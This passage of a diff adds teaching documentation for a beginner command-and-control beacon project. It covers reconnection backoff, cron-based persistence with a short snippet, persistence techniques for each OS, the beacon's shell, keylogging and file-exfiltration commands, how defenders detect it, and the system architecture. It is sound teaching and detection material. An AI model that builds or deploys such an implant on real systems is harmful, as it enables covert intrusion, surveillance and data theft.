Attempt 2: wait 4 seconds
|
||||
Attempt 3: wait 8 seconds
|
||||
Attempt 4: wait 16 seconds
|
||||
...continuing to double...
|
||||
Attempt N: wait up to 300 seconds (5-minute cap)
|
||||
```
|
||||
|
||||
The relevant code in `beacon/beacon.py`:
|
||||
|
||||
```python
|
||||
backoff = config.reconnect_base
|
||||
|
||||
while True:
|
||||
try:
|
||||
async with connect(config.server_url) as ws:
|
||||
backoff = config.reconnect_base
|
||||
...
|
||||
except (ConnectionRefusedError, websockets.exceptions.ConnectionClosed, OSError):
|
||||
await asyncio.sleep(backoff)
|
||||
backoff = min(backoff * 2, config.reconnect_max)
|
||||
```
|
||||
|
||||
Two things to notice. First, on a successful connection, `backoff` resets to the base value (2 seconds). Second, the backoff caps at `reconnect_max` (300 seconds). Without the cap, the backoff would grow indefinitely and the beacon could end up waiting hours between attempts.
|
||||
|
||||
Why exponential backoff matters: if the server is down and 50 beacons are trying to reconnect simultaneously, you do not want all 50 hammering the server every 2 seconds. That creates network noise and could look like a DDoS. Exponential backoff spreads out the reconnection attempts over time, reducing load and reducing visibility.
|
||||
|
||||
---
|
||||
|
||||
## Persistence Mechanisms
|
||||
|
||||
Persistence means the implant survives system reboots. Without persistence, the beacon dies when the machine restarts, and the attacker has to re-compromise the target from scratch. That is expensive and risky. Every compromise attempt is a chance to get caught.
|
||||
|
||||
Our project implements one persistence mechanism: cron-based persistence on Linux. The `handle_persist` function in `beacon/beacon.py` adds a `@reboot` cron entry that re-launches the beacon script when the system starts:
|
||||
|
||||
```python
|
||||
beacon_path = os.path.abspath(__file__)
|
||||
cron_entry = f"@reboot /usr/bin/python3 {beacon_path} &"
|
||||
```
|
||||
|
||||
The function reads the current crontab, checks if the entry already exists (to avoid duplicates), and appends it if needed.
|
||||
|
||||
Cron persistence is straightforward and effective on Linux systems, but it is also straightforward to detect. Any defender who checks `crontab -l` will see it. More sophisticated attackers use harder-to-detect mechanisms.
|
||||
|
||||
Here are the common persistence techniques organized by operating system:
|
||||
|
||||
**Linux:**
|
||||
- Cron jobs (what we use) - `@reboot` entries or scheduled entries
|
||||
- Systemd services - a `.service` unit file in `/etc/systemd/system/`
|
||||
- Bash profile modification - adding execution lines to `~/.bashrc` or `~/.profile`
|
||||
- Init scripts - adding to `/etc/rc.local` or `/etc/init.d/`
|
||||
|
||||
**Windows:**
|
||||
- Registry run keys - `HKCU\Software\Microsoft\Windows\CurrentVersion\Run` or the HKLM equivalent
|
||||
- Scheduled tasks - `schtasks.exe /create` with various triggers
|
||||
- DLL hijacking - placing a malicious DLL in a directory searched before the legitimate one
|
||||
- Windows services - registering as a system service
|
||||
- WMI event subscriptions - triggering execution on WMI events
|
||||
|
||||
**macOS:**
|
||||
- Launch agents - plist files in `~/Library/LaunchAgents/`
|
||||
- Launch daemons - plist files in `/Library/LaunchDaemons/`
|
||||
- Login items - using the Shared File List or Service Management framework
|
||||
- Dylib hijacking - the macOS equivalent of DLL hijacking
|
||||
|
||||
Each of these maps to a different MITRE ATT&CK sub-technique under T1053 (Scheduled Task/Job), T1547 (Boot or Logon Autostart Execution), or T1574 (Hijack Execution Flow). The common thread: the attacker arranges for their code to run automatically when some trigger fires (boot, login, scheduled time, application launch).
|
||||
|
||||
---
|
||||
|
||||
## Detection and Defense
|
||||
|
||||
### How Blue Teams Detect C2
|
||||
|
||||
Understanding detection is just as important as understanding the attack. If you only know how to build C2, you are missing half the picture. Here is how defenders find and stop beacon traffic.
|
||||
|
||||
**Network Signatures and Traffic Analysis**
|
||||
|
||||
The most direct detection method. Network security monitoring (NSM) tools analyze traffic for patterns associated with C2:
|
||||
|
||||
- **Periodic beaconing patterns.** Even with jitter, statistical analysis can identify connections that occur at semi-regular intervals. Tools like RITA (Real Intelligence Threat Analytics) specialize in detecting beaconing by analyzing connection frequency distributions. If a host contacts the same external server 480 times in 24 hours at roughly 3-minute intervals, that is statistically identifiable.
|
||||
|
||||
- **Unusual WebSocket connections.** Most corporate workstations do not maintain long-lived WebSocket connections to external servers. A WebSocket connection that persists for hours and transmits small, regular messages is suspicious. Our project uses plain WebSocket (the `ws://` scheme), which means the traffic content is visible to any inline inspection device.
|
||||
|
||||
- **Encoded payload patterns.** Base64-encoded blobs in WebSocket frames are unusual for legitimate applications. While some applications use Base64 for binary data, a sustained pattern of Base64 messages with consistent sizes at regular intervals stands out.
|
||||
|
||||
- **JA3/JA3S fingerprinting.** JA3 creates a hash of the TLS Client Hello parameters (cipher suites, extensions, elliptic curves). JA3S does the same for the Server Hello. Known C2 frameworks produce distinctive JA3 fingerprints because they use specific TLS libraries with specific configurations. Cobalt Strike's default JA3 hash is well-documented and widely signatured. Our project does not use TLS in development, which makes this specific detection method inapplicable but also means our traffic is completely readable to anyone on the network.
|
||||
|
||||
- **DNS anomalies.** DNS-based C2 frameworks (like the DNS modes in Cobalt Strike, Sliver, and Brute Ratel) encode data in DNS queries and responses. Detectable signs include high volumes of TXT record queries, unusually long subdomain labels, and DNS traffic to domains with high entropy names. Our project does not use DNS for C2, but you should know about this technique.
|
||||
|
||||
**Behavioral Analysis on Endpoints**
|
||||
|
||||
Even if the network traffic is encrypted and blends in, the actions the beacon takes on the host are detectable:
|
||||
|
||||
- **Processes spawning shells.** When our beacon executes a `shell` command, it creates a child process running a shell command. A Python process spawning `/bin/sh` or `cmd.exe` is suspicious. EDR products track process parent-child relationships. If `python3` spawns `bash` which spawns `whoami`, that process tree gets flagged.
|
||||
|
||||
- **Unusual file access.** The `download` command reads files. The `upload` command writes to `/tmp/`. The `screenshot` command accesses screen capture APIs. EDR products monitor these operations and can flag anomalous patterns, especially when they originate from a process that does not normally do these things.
|
||||
|
||||
- **Keylogger hooks.** Our `keylog_start` command uses `pynput` to hook keyboard events. On Linux, this involves reading from `/dev/input/` devices or using X11 input extensions. On Windows, it would use `SetWindowsHookEx`. EDR products specifically watch for input hook installation because legitimate applications rarely need to intercept all keystrokes.
|
||||
|
||||
**Endpoint Detection Artifacts**
|
||||
|
||||
- **Persistence artifacts.** Defenders monitor cron tabs, systemd services, registry run keys, and scheduled tasks for unauthorized changes. A new `@reboot` cron entry pointing to a Python script in an unusual location is an obvious indicator of compromise (IOC).
|
||||
|
||||
- **Suspicious files on disk.** Our beacon sits on disk as a regular Python file. File integrity monitoring (FIM) tools notice new files in unexpected locations. Antivirus and EDR products scan files against known signatures and behavioral heuristics.
|
||||
|
||||
- **Process injection indicators.** Advanced C2 implants inject their code into legitimate processes (like `svchost.exe` or `explorer.exe`) to hide. Our beacon does not do this, which means the `python3` process running `beacon.py` is visible in process listings. That makes it easier to find but also means we are not teaching process injection techniques, which is appropriate for a beginner project.
|
||||
|
||||
### Why Our Project Is Easy to Detect
|
||||
|
||||
This is intentional, and it is important to be honest about the limitations:
|
||||
|
||||
**No TLS.** Our WebSocket connection uses `ws://` (plain text) in development, not `wss://` (TLS-encrypted). Any network monitoring tool can read the raw WebSocket frames. In a real engagement, all C2 traffic would be encrypted with TLS at minimum.
|
||||
|
||||
**Fixed XOR key.** The key is set in the configuration and never changes. If a defender captures one message and determines the key (which is straightforward given the known plaintext attack described above), they can decode all past and future messages. Real C2 frameworks rotate encryption keys per session or per message.
|
||||
|
||||
**No process injection or hollowing.** Our beacon runs as its own visible process. A defender running `ps aux | grep python` or checking the process list in a task manager will see it. Advanced implants inject into trusted processes so they inherit that process's reputation and visibility.
|
||||
|
||||
**No AMSI bypass or EDR evasion.** On Windows, the Antimalware Scan Interface (AMSI) lets security products inspect scripts before execution. Advanced C2 frameworks include AMSI bypass techniques. Our project does not address this at all.
|
||||
|
||||
**No domain fronting or traffic blending.** The beacon connects directly to the C2 server's address. Sophisticated C2 setups use domain fronting (routing traffic through CDN infrastructure so the visible domain differs from the actual destination) or mimic legitimate application traffic patterns.
|
||||
|
||||
**Beacon file sits plainly on disk.** No packing, no obfuscation, no fileless execution. The source code of the beacon is readable by anyone with filesystem access.
|
||||
|
||||
All of these limitations are deliberate. The goal of this project is to teach you how C2 architecture works. Once you understand the server-beacon-operator pattern, the encoding pipeline, the task queue model, and the detection surface, you have the foundation to understand what more advanced frameworks do and why. Teaching evasion techniques in a beginner project would prioritize the wrong things.
|
||||
|
||||
---
|
||||
|
||||
## Industry Standards and Frameworks
|
||||
|
||||
### MITRE ATT&CK
|
||||
|
||||
We have referenced MITRE ATT&CK throughout this document, but it deserves its own section.
|
||||
|
||||
ATT&CK stands for Adversarial Tactics, Techniques, and Common Knowledge. The framework is maintained by The MITRE Corporation and is freely available at [https://attack.mitre.org/](https://attack.mitre.org/).
|
||||
|
||||
The framework is organized in a matrix:
|
||||
|
||||
- **Tactics** are the columns. They represent the "why" of an attack. Examples: Initial Access, Execution, Persistence, Privilege Escalation, Defense Evasion, Credential Access, Discovery, Lateral Movement, Collection, Exfiltration, Command and Control.
|
||||
|
||||
- **Techniques** are the cells under each tactic. They represent the "how." Example: under Execution, you find T1059 (Command and Scripting Interpreter), T1053 (Scheduled Task/Job), T1569 (System Services), and many others.
|
||||
|
||||
- **Sub-techniques** add specificity. T1059.001 is PowerShell specifically. T1059.004 is Unix Shell. T1053.003 is Cron.
|
||||
|
||||
- **Procedures** are real-world examples of a technique being used by a specific threat group or malware family.
|
||||
|
||||
When you build detections, you think in terms of ATT&CK coverage. "We can detect T1059.001 (PowerShell execution) and T1053.003 (cron persistence) but we have no coverage for T1055 (process injection)." This gap analysis drives security investment decisions.
|
||||
|
||||
Our project touches these tactic categories:
|
||||
- **Execution** (shell command)
|
||||
- **Discovery** (sysinfo, proclist)
|
||||
- **Collection** (screenshot, keylogging)
|
||||
- **Exfiltration** (download)
|
||||
- **Persistence** (cron)
|
||||
- **Command and Control** (upload, sleep, and the entire beacon-server communication model)
|
||||
|
||||
### The Pyramid of Pain
|
||||
|
||||
David Bianco published the Pyramid of Pain in 2013 to describe how different types of indicators affect an attacker when defenders use them for detection. The pyramid has six levels, from easiest to hardest for defenders to use (and from least to most painful for attackers to change):
|
||||
|
||||
```
|
||||
/\
|
||||
/ \
|
||||
/ TTPs \ <-- Very painful to change
|
||||
/--------\
|
||||
/ Tools \ <-- Challenging
|
||||
/------------\
|
||||
/ Network/Host\ <-- Annoying
|
||||
/ Artifacts \
|
||||
/----------------\
|
||||
/ Domain Names \ <-- Simple (buy new domain)
|
||||
/------------------\
|
||||
/ IP Addresses \ <-- Easy (get new IP)
|
||||
/--------------------\
|
||||
/ Hash Values \ <-- Trivial (recompile)
|
||||
```
|
||||
|
||||
Here is how C2 infrastructure maps to this pyramid:
|
||||
|
||||
**Hash Values (trivial).** If defenders detect our beacon by its file hash, the attacker recompiles with a minor change and gets a new hash. This is the lowest value detection method.
|
||||
|
||||
**IP Addresses (easy).** If defenders block the C2 server's IP address, the attacker spins up a new server on a different IP. Cloud infrastructure makes this take minutes.
|
||||
|
||||
**Domain Names (simple).** Blocking the C2 domain is slightly more painful because the attacker needs to register new domains and reconfigure beacons. But domains are cheap and plentiful.
|
||||
|
||||
**Network Artifacts (annoying).** This is where things start to matter. If defenders detect the beacon's specific WebSocket frame pattern, the Base64-encoded XOR payloads, or the beaconing interval distribution, the attacker has to modify the protocol. That requires development effort. For our project, the encoding scheme and message format are network artifacts.
|
||||
|
||||
**Tools (challenging).** Detecting the C2 framework itself (not just its network traffic, but its capabilities and behavior patterns) forces the attacker to switch tools entirely. Moving from Cobalt Strike to Sliver because Cobalt Strike is too heavily signatured is a real cost.
|
||||
|
||||
**TTPs (very painful).** Tactics, Techniques, and Procedures are at the top. If defenders detect "any process that establishes a persistent outbound WebSocket connection and periodically spawns shell commands," the attacker cannot just change a tool or a domain. They have to fundamentally change their operational approach. This is the holy grail of detection engineering.
|
||||
|
||||
The lesson: detecting our beacon by its XOR key or file hash is low value. Detecting it by its behavioral pattern (periodic WebSocket connection + shell spawning + file access + cron modification) is high value because those behaviors persist regardless of what encoding scheme or IP address the attacker uses.
|
||||
|
||||
---
|
||||
|
||||
## Testing Your Understanding
|
||||
|
||||
Work through these questions before moving to the next section. If you can answer all five without looking back at the text, you have a solid grasp of the fundamentals.
|
||||
|
||||
**1. Why do beacons initiate outbound connections instead of the server connecting inbound?**
|
||||
|
||||
Corporate firewalls block unsolicited inbound connections. Workstations sit behind NAT without public IP addresses. Outbound connections on standard ports (80, 443) are typically allowed because employees need web access. By having the beacon call out, the C2 traffic blends with normal web traffic and bypasses perimeter security controls that only filter inbound connections.
|
||||
|
||||
**2. What is the purpose of jitter in a beacon's sleep interval?**
|
||||
|
||||
Jitter adds randomness to the check-in timing. Without jitter, a beacon sleeping for exactly 3 seconds creates a perfectly periodic traffic pattern that is trivially detectable by network monitoring tools. With 30% jitter, the interval varies between 2.1 and 3.9 seconds, making the pattern statistically harder to identify as automated beaconing.
|
||||
|
||||
**3. How does XOR encoding differ from real encryption like AES-256?**
|
||||
|
||||
XOR with a repeating key is vulnerable to known plaintext attacks and frequency analysis. If you know any portion of the plaintext (and you do, because JSON messages have predictable structure), you can recover the key. AES-256 is a block cipher that uses multiple rounds of substitution, permutation, and mixing operations. It is resistant to all known cryptanalytic attacks when used correctly with proper key management, random initialization vectors, and appropriate cipher modes. XOR is obfuscation. AES is encryption. They are fundamentally different in security guarantees.
|
||||
|
||||
**4. Name three ways a defender could detect our beacon's traffic on a network.**
|
||||
|
||||
Any three of: (a) Identifying periodic WebSocket connections with semi-regular timing patterns. (b) Detecting Base64-encoded payloads in WebSocket text frames. (c) Observing the process spawning shell commands after receiving WebSocket messages. (d) Monitoring for new cron entries created by non-standard processes. (e) Flagging the unencrypted (`ws://`) WebSocket connection to an external server. (f) Identifying the beacon process by name in process listings.
|
||||
|
||||
**5. Why does our beacon use exponential backoff for reconnection?**
|
||||
|
||||
Two reasons. First, it prevents the beacon from hammering a server that is temporarily down, which would create visible network noise and look like scanning or DDoS activity. Second, if many beacons lose connection simultaneously (say the server restarts), exponential backoff with some randomness spreads their reconnection attempts over time rather than having all of them hit the server at once. The cap at 300 seconds ensures the beacon eventually reconnects in a reasonable timeframe even after extended outages.
|
||||
|
||||
---
|
||||
|
||||
## Further Reading
|
||||
|
||||
- **MITRE ATT&CK Framework:** [https://attack.mitre.org/](https://attack.mitre.org/) - The definitive reference for adversary tactics and techniques. Start with the Enterprise matrix and explore the techniques our project implements.
|
||||
|
||||
- **The C2 Matrix:** [https://www.thec2matrix.com/](https://www.thec2matrix.com/) - A community-maintained spreadsheet comparing dozens of C2 frameworks by features, protocols, and capabilities. Useful for understanding the landscape beyond the frameworks mentioned in this document.
|
||||
|
||||
- **Cobalt Strike Documentation:** [https://www.cobaltstrike.com/](https://www.cobaltstrike.com/) - Understanding Cobalt Strike is important because it set the standard that most modern C2 frameworks follow. Even if you never use it, knowing its concepts (malleable profiles, named pipes, spawn-to processes) gives you vocabulary the industry uses daily.
|
||||
|
||||
- **David Bianco's Pyramid of Pain:** The original blog post from 2013 that defined how different indicator types affect adversaries. Search for "David Bianco Pyramid of Pain" to find the original and many derivatives.
|
||||
|
||||
- **SANS Reading Room - C2 Analysis:** SANS publishes research papers on C2 detection and analysis. Their papers on network threat hunting and beaconing detection are particularly relevant to what we have built here.
|
||||
|
||||
- **Red Canary Threat Detection Report:** Published annually, this report covers the most prevalent ATT&CK techniques observed in real incidents. It provides concrete examples of how the techniques in our project manifest in actual breaches.
|
||||
|
|
@ -0,0 +1,527 @@
|
|||
<!-- © AngelaMos | 2026 | 02-ARCHITECTURE.md -->
|
||||
|
||||
# Architecture: How the C2 System Fits Together
|
||||
|
||||
This document walks through every component in the C2 beacon project, how they connect, how data flows between them, and why the design decisions were made the way they were. By the end you should be able to trace a command from the operator dashboard all the way down to the beacon executing it on a target machine, and back again.
|
||||
|
||||
Estimated reading time: 20-30 minutes.
|
||||
|
||||
---
|
||||
|
||||
## Table of Contents
|
||||
|
||||
1. [High Level Architecture](#high-level-architecture)
|
||||
2. [Component Breakdown](#component-breakdown)
|
||||
3. [Data Flow](#data-flow)
|
||||
4. [Protocol Design](#protocol-design)
|
||||
5. [Database Schema](#database-schema)
|
||||
6. [Design Decisions](#design-decisions)
|
||||
7. [Security Architecture](#security-architecture)
|
||||
8. [Deployment Architecture](#deployment-architecture)
|
||||
9. [Key Files Reference](#key-files-reference)
|
||||
|
||||
---
|
||||
|
||||
## High Level Architecture
|
||||
|
||||
Here is the full picture of every moving part and how they talk to each other:
|
||||
|
||||
```
|
||||
┌─────────────────────────────────────────────────────────────┐
|
||||
│ Docker Network │
|
||||
│ │
|
||||
│ ┌──────────┐ ┌──────────┐ ┌──────────┐ │
|
||||
│ │ Nginx │────>│ Backend │ │ Frontend │ │
|
||||
│ │ :47430 │ │ :8000 │ │ :5173 │ │
|
||||
│ └──────────┘ └──────────┘ └──────────┘ │
|
||||
│ │ │ │
|
||||
│ │ ┌────┴────┐ │
|
||||
│ │ │ SQLite │ │
|
||||
│ │ │ (WAL) │ │
|
||||
│ │ └─────────┘ │
|
||||
└───────┼─────────────────────────────────────────────────────┘
|
||||
│
|
||||
┌────┴────┐
|
||||
│ Beacon │ (runs on target machine, outside Docker)
|
||||
└─────────┘
|
||||
```
|
||||
|
||||
Five components, three networks, one protocol. Let's break each one down.
|
||||
|
||||
### Nginx (port 47430)
|
||||
|
||||
Nginx is the single entry point for everything. Every request, whether from a beacon connecting over WebSocket, an operator viewing the dashboard, or a REST API call, enters through port 47430. Nginx inspects the URL path and routes accordingly:
|
||||
|
||||
- `/api/ws/*` goes to the backend WebSocket handlers. This covers both `/api/ws/beacon` (for beacon connections) and `/api/ws/operator` (for operator dashboard connections). Nginx upgrades these to WebSocket connections by setting the `Upgrade` and `Connection` headers.
|
||||
- `/api/*` (non-WebSocket) goes to the backend REST endpoints. These serve beacon listings, task history, health checks, and the OpenAPI docs.
|
||||
- Everything else (`/`) goes to the frontend. In development that means proxying to Vite's dev server on port 5173. In production Nginx serves the pre-built static files directly from disk.
|
||||
|
||||
The nginx configuration lives in `infra/nginx/dev.nginx` for development and `infra/nginx/prod.nginx` for production. The shared base config at `infra/nginx/nginx.conf` defines upstreams, rate limiting zones, gzip settings, and the WebSocket upgrade map.
|
||||
|
||||
One thing worth noticing: the WebSocket locations have `proxy_read_timeout 3600s`. Normal HTTP locations use 30-60 second timeouts. WebSocket connections are long-lived by nature, so nginx needs to know not to kill them after a minute of apparent inactivity.
|
||||
|
||||
### Backend (port 8000)
|
||||
|
||||
The backend is a FastAPI async application that does three jobs simultaneously:
|
||||
|
||||
1. **Beacon management.** It accepts WebSocket connections from beacons, validates their REGISTER messages, tracks them in memory and SQLite, and delivers tasks through per-beacon async queues.
|
||||
2. **Operator management.** It accepts WebSocket connections from operator dashboards, sends them real-time events (beacon connected, heartbeat, task result), and receives task submission requests.
|
||||
3. **REST API.** It serves beacon listings and task history for any client that needs them, plus health checks for Docker's container orchestration.
|
||||
|
||||
The backend uses FastAPI's `lifespan` context manager to initialize the database, the beacon registry, the task manager, and the operator broadcast manager at startup. All three singletons are attached to `app.state` so every request handler can access them. The app factory pattern in `backend/app/__main__.py` wires everything together: CORS middleware, routers for beacon WebSocket, operator WebSocket, and REST endpoints.
|
||||
|
||||
### Frontend (port 5173 dev)
|
||||
|
||||
The frontend is a React application built with Vite, TypeScript, and SCSS modules. It connects to the backend through a single WebSocket at `/api/ws/operator` and maintains all state in a Zustand store.
|
||||
|
||||
When the dashboard loads, the `useOperatorSocket` hook opens a WebSocket connection. The server immediately sends a `beacon_list` message with every known beacon. From there, the frontend receives real-time events: `beacon_connected`, `beacon_disconnected`, `heartbeat`, `task_result`, and `task_submitted`. The Zustand store in `frontend/src/core/ws.ts` processes each event type and updates the corresponding state slice.
|
||||
|
||||
The operator can select a beacon from the dashboard and open a session page, which provides a terminal-like interface for submitting commands. When the operator submits a task, the frontend sends a `submit_task` message over the same WebSocket. The server responds with a `task_submitted` confirmation mapping the local ID to the server-generated task ID, and later broadcasts the `task_result` when the beacon reports back.
|
||||
|
||||
### SQLite (WAL mode)
|
||||
|
||||
The database is a single SQLite file at `backend/data/c2.db`. It stores three tables: `beacons`, `tasks`, and `task_results`. The backend initializes the schema on startup in `backend/app/database.py` and enables WAL (Write-Ahead Logging) mode with `PRAGMA journal_mode=WAL`.
|
||||
|
||||
WAL mode is important here because the backend has concurrent reads happening. While one coroutine is writing a task result, another might be reading the beacon list for an operator query. WAL allows readers and writers to operate simultaneously without blocking each other. In the default rollback journal mode, a write would lock the entire database and block all reads until the write commits.
|
||||
|
||||
The `get_db()` async context manager yields a fresh `aiosqlite` connection each time, with `row_factory` set to `aiosqlite.Row` so query results come back as dict-like objects instead of plain tuples. Foreign keys are enabled on every connection.
|
||||
|
||||
### Beacon (runs on target)
|
||||
|
||||
The beacon is a standalone Python script at `beacon/beacon.py` that runs outside the Docker stack, on whatever machine you point it at. It has its own copy of the XOR encoding functions (deliberately duplicated so the beacon has zero dependencies on the server codebase) and a dispatch table mapping command strings to handler functions.
|
||||
|
||||
On startup, the beacon connects to the server via WebSocket, sends a REGISTER message with system metadata (hostname, OS, username, PID, internal IP, architecture), then enters its main loop. It sends periodic heartbeats with jitter applied to the sleep interval, and waits for TASK messages from the server. When a task arrives, the beacon dispatches it to the appropriate handler, collects the output, and sends a RESULT message back.
|
||||
|
||||
If the connection drops, the beacon uses exponential backoff (starting at 2 seconds, capping at 5 minutes) to reconnect. This is standard behavior for real-world implants, because hammering a dead server at full speed is a great way to get noticed by network monitoring.
|
||||
|
||||
---
|
||||
|
||||
## Component Breakdown
|
||||
|
||||
### Backend Layers
|
||||
|
||||
The backend follows a layered structure that separates protocol concerns from business logic from persistence:
|
||||
|
||||
```
|
||||
backend/app/
|
||||
├── __main__.py
|
||||
├── config.py
|
||||
├── database.py
|
||||
├── core/
|
||||
│ ├── encoding.py
|
||||
│ ├── protocol.py
|
||||
│ └── models.py
|
||||
├── beacon/
|
||||
│ ├── registry.py
|
||||
│ ├── router.py
|
||||
│ └── tasking.py
|
||||
└── ops/
|
||||
├── manager.py
|
||||
└── router.py
|
||||
```
|
||||
|
||||
**`__main__.py`** is the application factory. It creates the FastAPI instance, configures CORS, sets up logging, initializes the database schema, and instantiates the three core singletons (BeaconRegistry, TaskManager, OpsManager) during the lifespan startup. The `create_app()` function mounts all routers and defines the health check endpoint. Uvicorn runs this directly via `app.__main__:app`.
|
||||
|
||||
**`config.py`** uses Pydantic Settings to load configuration from environment variables and the `.env` file. It defines the XOR key, database path, CORS origins, log level, and server bind options. The `@lru_cache` decorator on `get_settings()` ensures the `.env` file is parsed exactly once.
|
||||
|
||||
**`database.py`** owns the SQLite schema definition and provides two functions: `init_db()` for one-time schema creation at startup, and `get_db()` as an async context manager for per-request database connections.
|
||||
|
||||
**`core/encoding.py`** implements the XOR-with-repeating-key cipher plus Base64 wrapping. The `encode()` function takes a plaintext string and a key, XORs the UTF-8 bytes against the key bytes (cycling the key), and returns a Base64 ASCII string. The `decode()` function reverses the process. This is symmetric, so the same key works in both directions.
|
||||
|
||||
**`core/protocol.py`** defines the `Message` envelope (a Pydantic model with a `type` field and a `payload` dict) and the `MessageType` enum (REGISTER, HEARTBEAT, TASK, RESULT, ERROR). The `pack()` function serializes a Message to JSON and encodes it with XOR+Base64. The `unpack()` function decodes a raw string, parses the JSON, and validates it back into a Message. If any step fails (bad Base64, bad JSON, bad schema), it raises a `ValueError`.
|
||||
|
||||
**`core/models.py`** defines the Pydantic data models used across the system: `BeaconMeta` (registration payload), `BeaconRecord` (full database record), `TaskRequest` (operator submission), `TaskRecord` (persisted task), and `TaskResult` (beacon response). It also defines `CommandType` as a StrEnum listing all supported commands: shell, sysinfo, proclist, upload, download, screenshot, keylog_start, keylog_stop, persist, and sleep.
|
||||
|
||||
**`beacon/registry.py`** is the `BeaconRegistry` class. It maintains a dict of `beacon_id -> WebSocket` for active connections and provides methods to register, unregister, check active status, update heartbeat timestamps, and query the database for beacon records. When a beacon registers, it upserts to the `beacons` table (INSERT with ON CONFLICT DO UPDATE), so reconnecting beacons update their metadata without creating duplicates.
|
||||
|
||||
**`beacon/router.py`** defines the `/ws/beacon` WebSocket endpoint. This is the most complex piece of the backend. When a beacon connects, the handler accepts the WebSocket, waits for a REGISTER message, validates it, registers the beacon, then spawns two concurrent asyncio tasks: `_send_tasks` (which blocks on the beacon's task queue and sends TASK messages) and `_receive_messages` (which processes incoming HEARTBEAT and RESULT messages). The `asyncio.wait` with `FIRST_COMPLETED` pattern ensures that if either coroutine fails (usually because the WebSocket disconnected), the other gets cancelled cleanly.
|
||||
|
||||
**`beacon/tasking.py`** is the `TaskManager` class. It maintains a dict of `beacon_id -> asyncio.Queue[TaskRecord]` for per-beacon task delivery. When an operator submits a task, `submit()` writes it to SQLite and puts it on the queue. The `_send_tasks` coroutine in the beacon router calls `get_next()`, which blocks until a task appears. When a result comes back, `store_result()` writes it to the `task_results` table and marks the parent task as completed.
|
||||
|
||||
**`ops/manager.py`** is the `OpsManager` class. It tracks a set of operator WebSocket connections and provides a `broadcast()` method that sends a JSON event to all connected operators. If a send fails (connection already closed), the stale WebSocket is removed from the set. This fan-out pattern means every operator sees every event in real time.
|
||||
|
||||
**`ops/router.py`** defines two routers: `ws_router` for the `/ws/operator` WebSocket endpoint, and `rest_router` for the REST endpoints (`/beacons`, `/beacons/{id}`, `/beacons/{id}/tasks`). When an operator connects via WebSocket, the handler sends the full beacon list immediately, then enters a receive loop waiting for `submit_task` messages. The REST endpoints provide the same data for non-WebSocket clients or for initial page loads.
|
||||
|
||||
---
|
||||
|
||||
## Data Flow
|
||||
|
||||
### Beacon Registration Flow
|
||||
|
||||
Here is what happens from the moment a beacon starts up to when the operator sees it on their dashboard:
|
||||
|
||||
```
|
||||
Beacon Server Operator Dashboard
|
||||
│ │ │
|
||||
│──REGISTER(sysinfo)────>│ │
|
||||
│ │──INSERT beacon──> SQLite │
|
||||
│ │ │
|
||||
│ │──beacon_connected──────────>│
|
||||
│ │ │
|
||||
│<──(connection held)────│ │
|
||||
│ │ │
|
||||
│──HEARTBEAT────────────>│ │
|
||||
│ │──UPDATE last_seen─> SQLite │
|
||||
│ │──heartbeat────────────────>│
|
||||
```
|
||||
|
||||
Step by step:
|
||||
|
||||
1. The beacon opens a WebSocket to `/api/ws/beacon` (which nginx proxies to the backend at `/ws/beacon`).
|
||||
2. The beacon sends a REGISTER message containing system metadata: hostname, OS, username, PID, internal IP, and architecture. This payload goes through XOR+Base64 encoding before hitting the wire.
|
||||
3. The server's `beacon_websocket` handler in `beacon/router.py` accepts the connection, unpacks the first message, validates it as a REGISTER type, and extracts the `BeaconMeta` fields.
|
||||
4. The server calls `registry.register()`, which stores the WebSocket reference in memory and upserts the beacon record into SQLite. If this beacon ID was seen before (a reconnection), the metadata gets updated and `first_seen` is preserved.
|
||||
5. The server broadcasts a `beacon_connected` event to all operator WebSocket connections via `ops_manager.broadcast()`.
|
||||
6. The operator dashboard's Zustand store receives the event, calls `upsertBeacon()`, and the dashboard table re-renders with the new beacon showing a green "active" indicator.
|
||||
7. The server spawns the `_send_tasks` and `_receive_messages` coroutines. The connection is now held open indefinitely.
|
||||
8. Every few seconds (with jitter), the beacon sends a HEARTBEAT message. The server updates `last_seen` in SQLite and broadcasts the heartbeat to operators, keeping the "last seen" timestamp fresh on the dashboard.
|
||||
|
||||
### Task Execution Flow
|
||||
|
||||
Here is the full round trip when an operator issues a command:
|
||||
|
||||
```
|
||||
Operator Server Beacon
|
||||
│ │ │
|
||||
│──submit_task──────────>│ │
|
||||
│ │──INSERT task──> SQLite │
|
||||
│ │──queue.put(task) │
|
||||
│<──task_submitted───────│ │
|
||||
│ │ │
|
||||
│ │──TASK(XOR+B64)────────>│
|
||||
│ │ │──execute
|
||||
│ │<──RESULT(XOR+B64)──────│
|
||||
│ │──INSERT result─> SQLite │
|
||||
│ │──UPDATE task status │
|
||||
│<──task_result──────────│ │
|
||||
```
|
||||
|
||||
Step by step:
|
||||
|
||||
1. The operator types a command in the session terminal UI and hits enter. The frontend's `sendTask()` function sends a JSON message over the operator WebSocket: `{"type": "submit_task", "payload": {"beacon_id": "...", "command": "shell", "args": "whoami", "local_id": "..."}}`. This message is plain JSON because the operator-server channel runs entirely within Docker.
|
||||
2. The server's `operator_websocket` handler in `ops/router.py` receives the message, creates a `TaskRecord` with a UUID, and calls `task_manager.submit()`.
|
||||
3. `submit()` does two things: it INSERTs the task into the `tasks` table in SQLite (so it persists if the server restarts), and it puts the TaskRecord onto the `asyncio.Queue` for that specific beacon.
|
||||
4. The server sends a `task_submitted` response back to the operator with the mapping of `local_id` to `task_id`. The frontend uses this to correlate results later.
|
||||
5. Meanwhile, in `beacon/router.py`, the `_send_tasks` coroutine for this beacon has been blocked on `task_manager.get_next(beacon_id)`. The queue.put() unblocks it. The coroutine packs the task into a Message, encodes it with XOR+Base64, and sends it to the beacon over the WebSocket.
|
||||
6. The beacon receives the raw text, unpacks it (Base64 decode, XOR decrypt, JSON parse), and dispatches the command to the appropriate handler. For a `shell` command, that means calling `asyncio.create_subprocess_shell()` and capturing stdout/stderr.
|
||||
7. The beacon packs the result (task_id, output, error) into a RESULT message, encodes it, and sends it back to the server.
|
||||
8. The server's `_receive_messages` coroutine receives the RESULT, unpacks it, creates a `TaskResult` object, and calls `task_manager.store_result()`. This writes the result to the `task_results` table and updates the parent task's status to `completed`.
|
||||
9. The server broadcasts a `task_result` event to all operator WebSocket connections.
|
||||
10. The operator dashboard's Zustand store receives the event, calls `addTaskResult()`, and the session terminal renders the output.
|
||||
|
||||
The entire round trip typically takes less than a second on a local network. The bottleneck is usually the command execution on the target machine.
|
||||
|
||||
---
|
||||
|
||||
## Protocol Design
|
||||
|
||||
### Message Types
|
||||
|
||||
